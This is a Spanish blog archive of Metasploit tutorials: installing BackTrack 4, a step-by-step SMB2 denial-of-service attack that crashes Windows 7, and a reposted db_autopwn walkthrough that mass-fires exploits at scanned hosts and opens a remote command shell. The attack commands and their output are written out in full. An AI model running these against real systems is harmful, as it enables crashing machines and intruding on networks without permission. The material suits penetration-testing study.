Archivo

Posts Tagged ‘metasploit’

Instalar Backtrack 4 en VMware Workstation

1 abril, 2010 3 comentarios

Aquí tenéis un vídeo tutorial de como instalar Backtrack 4 en VMware Workstation. El problema con el que me encontré cuando hice la instalación, es que una vez ejecutado el SO y antes de lanzar startx, no me aparecía ningún mensaje como en este vídeo tutorial advirtiéndome de que tenia que activar los dispositivos de red con el comando ./etc/init.d/networking start. Con lo cual, una vez lanzado el startx me encontrare que no tenia conexión a Internet. Imagino que la versión de Backtrack utilizada en el vídeo es diferente a la que yo uso. Ya que yo me baje la Backtrack 4 Final Release VMware Image desde aquí y en el vídeo hacen la instalación manual en VMware creo que con esta version de Backtrack 4 que en teoría debería ser la misma.

Aquí os dejo el vídeo.

Artículos relacionados:

La Metralleta de Metasploit

Reventando un windows 7 con Metasploit

VMware Workstation 6.5.1 Build

Reventando un Windows 7 con Metasploit

1 abril, 2010 12 comentarios

Para reventar o colgar un sistema windows 7 Ultimate con metasploit, primero deberemos asegurarnos que tiene el puerto 445/tcp netbios-ssn abierto, si este es el caso, lo demás es coser y cantar.

En la consola de metasploit, escribiremos el comando para usar el smb_negotiate_pidhigh :

msf> use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh

A continuación determinamos la IP de la victima con el comando set RHOST «victima ip» . ( en este caso utilizaremos una ip ficticia que sera 192.168.0.5 )

msf auxiliary(smb2_negotiate_pidhigh) > set RHOST 192.168.0.5

Despues le indicamos cual es el puerto que vamos a utilizar para el ataque, utilizando el comando set RPORT en este caso sera el 445

msf auxiliary(smb2_negotiate_pidhigh) > set RPORT 445

Y por ultimo lanzamos el ataque con el comando run y a esperar a que se cuelgue el sistema.

msf auxiliary(smb2_negotiate_pidhigh) > run

Aquí os dejo un vídeo donde se ejecutan todos los comandos paso a paso.

Aqui os dejo el resultado de un ataque frustrado contra un Windows Vista Home Premium Service Pack 1

msf > use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh
msf auxiliary(smb2_negotiate_pidhigh) > set RHOST 192.168.1.35
RHOST => 192.168.1.35
msf auxiliary(smb2_negotiate_pidhigh) > set RPORT 445
RPORT => 445
msf auxiliary(smb2_negotiate_pidhigh) > run

[*] Sending request and waiting for a reply…
[*] Response received: “000000\236\376SMB@0000000000000000000100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A00010002020000\37621\321}\256\211\216D\226Ki03A3452601000000000001000000010000000100\320\252Q{\241\321\31201\276/K\361P\276\31201\200003600 LM `340606+0601050502\24022020\240160\f06\n+06010401\20270202\n”
[*] Auxiliary module execution completed
msf auxiliary(smb2_negotiate_pidhigh) >

Artículos relacionados:

La Metralleta de Metasploit

Categorías: Seguridad Etiquetas: , , ,

La metralleta de Metasploit

30 marzo, 2010 7 comentarios
Peleandome con Metasploit en su version Windows y en la version Linux ( Backtrack 4 ) para conseguir una shell en un windows Vista Home Premium service pack 1, me encuentro con la fabulosa pagina web de Pentester.es, donde nos cuentan como crear una base de datos en metasploit para lanzar «X» numero de exploits simultaneos a «X» Hosts simultaneos. Lo que la verdad ahorra mucho trabajo!

Llevo unas 16 horas peleandome con metasploit y la victima Windows Vista sin conseguir ningun resultado. No he conseguido shell, y no he conseguido overflow. Y aunque este windows vista pertenece a LAN donde las acciones deberian ser mas risueñas, no he conseguido nada de nada….

Asi que si alguien quiere darme algun consejo, puede hacerlo en los comentarios, a ver si asi consigo algo interesante y super mis fustraciones.

A continuacion la Entrada de Pentester.es
_______________
_________
Indudable es, que la Metasploit, se ha convertido en una de las herramientas imprescindibles para la auditoría lógica y test de penetración. En este post vamos a centrarnos en su función autopwn o como vulgarmente se le podría definir la “metralleta” de exploits.
Metasploit y función db_autopwn, hacen servir una base de datos (mysql, sqlite3 o postgres soportadas) para albergar el listado de hosts y servicios que queramos auditar de forma automática, permitiendo agilizar el proceso de explotación y penetración de forma sustancial. La manera de alimentar a base de datos con posibles victimas puede partir de nmap o del resultado de un .nbe de Nessus.
En primera instancia vamos a ver como habilitar la funcionalidad “db”, dado que por defecto si Metasploit no encuentra las librerias de Ruby asociadas a la base de datos que vamos a utilizar no será visible para el usuario esta funcionalidad extendida. Para comprobar si se tiene instaladas las dependencias necesarias tan solo tecleamos en la consola de Metasploit “help”, si su resultado es como el siguiente es posible (digo es posible porque a veces no se tiene completaente satisfechas las dependencias) utilizar las funciones extendidas “db”.

| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|

=[ msf v3.3-dev [core:3.3 api:1.0]
+ –=[ 412 exploits – 261 payloads
+ –=[ 21 encoders – 8 nops
=[ 191 aux

msf > help

Core Commands
=============

Command Description
——- ———–
? Help menu
back Move back from the current context

[…]
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers

Database Backend Commands
=========================

Command Description
——- ———–
db_connect Connect to an existing database
db_create Create a brand new database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver

En el caso de que no apareciera el menu “Database Backend Commands” y suponiendo que estamos en un entorno Debian procedeos a instalar los siguientes paquetes con sus dependencias:

aptitude install sqlite3 libsqlite3-ruby libdbd-sqlite3-ruby libopenssl-ruby nmap

Muy bien, una vez instalado lo anterior procedemos a seleccionar el entorno de base de datos que Metasploit manejará, para ello usaos el comando “db_driver”

msf > db_driver
[*] Active Driver: sqlite3
[*] Available: sqlite3, mysql

En este caso el driver utilizado es sqlite3, si quisiéramos usar mysql, por ejemplo, tecleariamos:

msf > db_driver mysql
[*] Using database driver mysql

A continuación lo que tenemos que hacer es crear la base de datos mediante el comando “db_create nombre”

msf > db_create pentester.es
[*] Creating a new database instance…
[*] Successfully connected to the database
[*] File: pentester.es

Este comando crea y nos conecta a la bd, en el caso de que quisiéramos utilizar una ya existente utilizariamos “db_connect nombre”

msf > db_connect pentester.es
[*] Successfully connected to the database
[*] File: pentester.es

Ahora nos queda “nutrir” a sqlite3 con los host y servicios que queremos auditar para ello nos apoyaremos en el comando “db_nmap”, que no hace otra cosa que llamar a nmap dentro del entorno de Metasploit. En este caso vamos a analizar al host 192.168.2.2.

msf > db_nmap -n -sT -PN 192.168.2.2

[*] exec: «/usr/bin/nmap» «-n» «-sT» «-PN» «192.168.2.2» «-oX» «/tmp/dbnmap20091018-3147-2qv7ko-0»
NMAP:
NMAP: Starting Nmap 4.62 ( http://nmap.org ) at 2009-10-18 22:50 CEST
NMAP: Interesting ports on 192.168.2.2:
NMAP: Not shown: 1709 closed ports
NMAP: PORT STATE SERVICE
NMAP: 53/tcp open domain
NMAP: 80/tcp open http
NMAP: 139/tcp open netbios-ssn
NMAP: 389/tcp open ldap
NMAP: 445/tcp open microsoft-ds
NMAP: 8080/tcp open http-proxy
NMAP:
NMAP: Nmap done: 1 IP address (1 host up) scanned in 2.232 seconds

En este momento Metasploit ha introducido el host 192.168.2.2 y todos sus servicios en la bd. Para comprobarlo podemos usar db_hosts (muestra la maquinas target) y db_services (servicios a auditar para cada maquina)

msf > db_hosts
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Host: 192.168.2.2 Status: alive OS:

msf > db_services
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=53 proto=tcp state=up name=domain
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=80 proto=tcp state=up name=http
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=139 proto=tcp state=up name=netbios-ssn
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=389 proto=tcp state=up name=ldap
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=8080 proto=tcp state=up name=http-proxy

Ya tenemos el objetivo seleccionado, ahora ya tan solo nos queda soltar la metralleta mediate “db_autopwn -t -e -p”. A continuación Metasploit seleccionará todos los exploits disponibles para los servicios almacenados en la bd y solo los que afecten a los puertos seleccionados.

> db_autopwn -t -p -e
[*] Analysis completed in 8.36183190345764 seconds (0 vulns / 0 refs)
[*] Matched exploit/unix/webapp/guestbook_ssi_exec against 192.168.2.2:80…
[*] (1/142): Launching exploit/unix/webapp/guestbook_ssi_exec against 192.168.2.2:80…
[*] Matched exploit/windows/http/savant_31_overflow against 192.168.2.2:80…
[*] (2/142): Launching exploit/w […]

Como vemos Metaesploit ha seleccionado 142 exploits que afectan a los servicios descubiertos, lanzando uno tras otro cual AK-47.
Pero ¿como podemos saber si un exploit lanzado ha tenido exito? Pues con el comando “sessions -l ” se muestran las shells que se han conseguido. Como se puede observar se han conseguido 1 acceso al sistema por 1 exploit que han tenido éxito.

msf > sessions -l
Active sessions
===============
Id Description Tunnel
– ———– ——
1 Command shell 192.168.2.3 -> 192.168.2.2

Para seleccionar una sesión en concreto

msf > sessions -i 1
[*] Starting interaction with 1…
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

Este tipo de aproximaciones son bastante arriesgadas dentro de un proceso de pentesting ya que si se ha acordado con el cliente que se producirán las menores DoS posibles este proceso podría tumbar varios servicios o máquinas. Pero si se dispone de libre actuación, la siguiente aproximación sería muy interesante para hacerse con numerosos hosts de la red.

msf > db_nmap -p 445,139 -PN -sS -n 192.168.2.0/24

En un entorno con una política de parcheo “amigable” para el auditor el numero de host Windows afectados por la MS08-067 nos daría muchas alegrias 😉

Saludos Pentesteros.

Categorías: Seguridad, Uncategorized Etiquetas: , ,